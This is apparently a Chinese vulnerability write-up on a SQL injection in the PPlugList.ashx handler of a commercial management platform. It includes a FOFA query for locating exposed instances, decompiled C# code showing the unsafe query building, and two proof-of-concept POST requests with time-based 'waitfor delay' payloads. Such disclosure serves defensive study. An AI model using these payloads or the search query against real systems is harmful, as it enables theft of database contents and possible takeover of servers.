漏洞简介
福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 PPlugList.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
title="智慧综合管理平台登入"
漏洞分析
先看下 Module/CJGL/PPlugList.aspx 部分表单
<!--查询条件End-->
<!--列表--><div region="center" showheader="false" style="border-right: 0; border-bottom: 0;">
<div class="mini-fit">
<kr:DataGrid runat="server" ID="grdMain" Style="height: 100%; width: 100%" BorderStyle="padding:0;background-color: #F8F8F8; border-bottom:none;border-left:none;"
IdField="id" Url="Controller/PPlugList.ashx?action=find" PageSize="20">
<kr:DataGirdColumn runat="server" Property="columns">
<kr:DataGirdColumn runat="server" Type="indexcolumn" />
<kr:DataGirdColumn runat="server" Type="checkcolumn" />
<kr:DataGirdColumn runat="server" Field="PlugName" HeaderAlign="center" Allowsort="true">插件名称</kr:DataGirdColumn>
<kr:DataGirdColumn runat="server" Field="PlugIdentName" HeaderAlign="center" Allowsort="true">插件类型</kr:DataGirdColumn>
<kr:DataGirdColumn runat="server" Field="Cols" HeaderAlign="center" Allowsort="true">列宽</kr:DataGirdColumn>
<kr:DataGirdColumn runat="server" Field="Rows" HeaderAlign="center" Allowsort="true">行高</kr:DataGirdColumn>
<kr:DataGirdColumn runat="server" Field="DataUrl" HeaderAlign="center" Allowsort="true">插件数据源地址</kr:DataGirdColumn>
</kr:DataGirdColumn>
</kr:DataGrid>
</div>
</div>
再看 Module/CJGL/Controller/PPlugList.ashx 页面引用的dll
<%@ WebHandler Language="C#" CodeBehind="PPlugList.ashx.cs" Class="KR.Administrator.Module.Controller.PPlugList" %>
再去对应dll文件 KR.Administrator.dll 反编译后获取 Module.Controller.PPlugList 的执行逻辑
public override void AjaxProcess(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str1 = WRequest.GetString("action");
try
{
if (string.op_Equality(str1, "find"))
{
int recordcount = 0;
string strWhere = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
strWhere += $" and PlugIdentID like '%{WRequest.GetString("PlugIdentID")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
strWhere += $" and PlugName like '%{WRequest.GetString("PlugName")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
strWhere += $" and DataUrl like '%{WRequest.GetString("DataUrl")}%'";
DataTable dataTableList = this.bll.GetDataTableList("view_T_P_PlugList", WRequest.GetInt("pagesize") == 0 ? 10 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
DataGridModel dataGridModel = new DataGridModel()
{
total = recordcount,
data = dataTableList
};
context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
LogHelper.SysInfo("插件列表管理:查看!", new Exception(context.Request.Form.ToString()));
}
else if (string.op_Equality(str1, "findAll"))
{
int recordcount = 0;
string strWhere = " 1=1 ";
DataTable dataTableList = this.bll.GetDataTableList("view_T_P_PlugList", 50, WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
DataGridModel dataGridModel = new DataGridModel()
{
total = recordcount,
data = dataTableList
};
context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
LogHelper.SysInfo("插件列表管理:查看!", new Exception(context.Request.Form.ToString()));
}
else if (string.op_Equality(str1, "save"))
this.save(context);
else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
{
KR.Model.PPlugList pplugList = this.bll.GetItem((long) WRequest.GetInt("id"));
context.Response.Write(JsonConvert.SerializeObject((object) pplugList));
}
else if (string.op_Equality(str1, "selectedDel"))
{
if (SystemHelper.checkPermission("PPlugList_btnDel"))
{
string str2 = WRequest.GetString("ids");
if (!string.IsNullOrEmpty(str2))
{
IList<KR.Model.PPlugList> list = (IList<KR.Model.PPlugList>) this.bll.GetList($"id in ({str2}) ");
LogHelper.SysInfo("插件列表管理:删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (KR.Model.PPlugList pplugList in (IEnumerable<KR.Model.PPlugList>) list)
{
stringBuilder.Append(pplugList.id);
stringBuilder.Append(",");
}
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "conditionDel"))
{
if (SystemHelper.checkPermission("PPlugList_btnDel"))
{
string strWhere = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("PlugIdentID")))
strWhere += $" and PlugIdentID like '%{WRequest.GetString("PlugIdentID")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("PlugName")))
strWhere += $" and PlugName like '%{WRequest.GetString("PlugName")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("DataUrl")))
strWhere += $" and DataUrl like '%{WRequest.GetString("DataUrl")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("org_id")))
strWhere += $" and org_id like '%{WRequest.GetString("org_id")}%'";
IList<KR.Model.PPlugList> list = (IList<KR.Model.PPlugList>) this.bll.GetList(strWhere);
LogHelper.SysInfo("插件列表管理:删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (KR.Model.PPlugList pplugList in (IEnumerable<KR.Model.PPlugList>) list)
{
stringBuilder.Append(pplugList.id);
stringBuilder.Append(",");
}
if (stringBuilder.Length > 0)
{
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "exportExcel"))
this.exportExcel(context);
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
catch (Exception ex)
{
LogHelper.SysError($"插件列表管理:操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
}
}
exportExcel
private void exportExcel(HttpContext context)
{
string condition = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("sPlugIdentID")))
condition += $" and PlugIdentID like '%{WRequest.GetString("sPlugIdentID")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sPlugName")))
condition += $" and PlugName like '%{WRequest.GetString("sPlugName")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sDataUrl")))
condition += $" and DataUrl like '%{WRequest.GetString("sDataUrl")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sorg_id")))
condition += $" and org_id like '%{WRequest.GetString("sorg_id")}%'";
DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
return;
SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "插件列表管理导出Excel表");
}
而 WRequest.GetString 的实现如下
public static string GetString(string strName)
{
bool sqlSafeCheck = false;
if (ConfigurationManager.AppSettings["SQLCHECK"] != null)
sqlSafeCheck = true;
return WRequest.GetString(strName, sqlSafeCheck);
}
取决于 配置文件里的 SQLCHECK 值,如果没有配置,则默认为 false ,则可能造成SQL注入漏洞。
- 当
action=find时, PlugIdentID、PlugName、DataUrl以及 SortOrder 均是通过WRequest.GetString获取后拼接进SQL语句中。 - 当
action=exportExcel时,sPlugIdentID、sPlugName、sDataUrl 以及 sorg_id 均是通过 WRequest.GetString 获取后拼接进SQL语句中。 - 当
action=findAll时,未授权直接查询前 50 条数据,分页。以 JSON 格式输出 DataGridModel。 - 当
action=save时,调用save(context)方法进行保存。save 方法内部包含:判断是新增还是修改、校验插件名称唯一性、权限校验、保存数据、记录日志、输出结果。 - 当
action=look或action=update时,根据参数 id 查询单条数据。以 JSON 格式输出对应数据。 - 当
action=selectedDel或action=conditionDel时,首先校验权限,因此不能未授权利用。
整体执行流程如下图所示:

漏洞复现
action=exportExcel
POST /Module/CJGL/Controller/PPlugList.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=exportExcel&sPlugIdentID='waitfor+delay'0:0:4'--

成功延时 4 秒
action=find
POST /Module/CJGL/Controller/PPlugList.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=find&PlugIdentID='waitfor+delay'0:0:4'--

也成功延时 4 秒





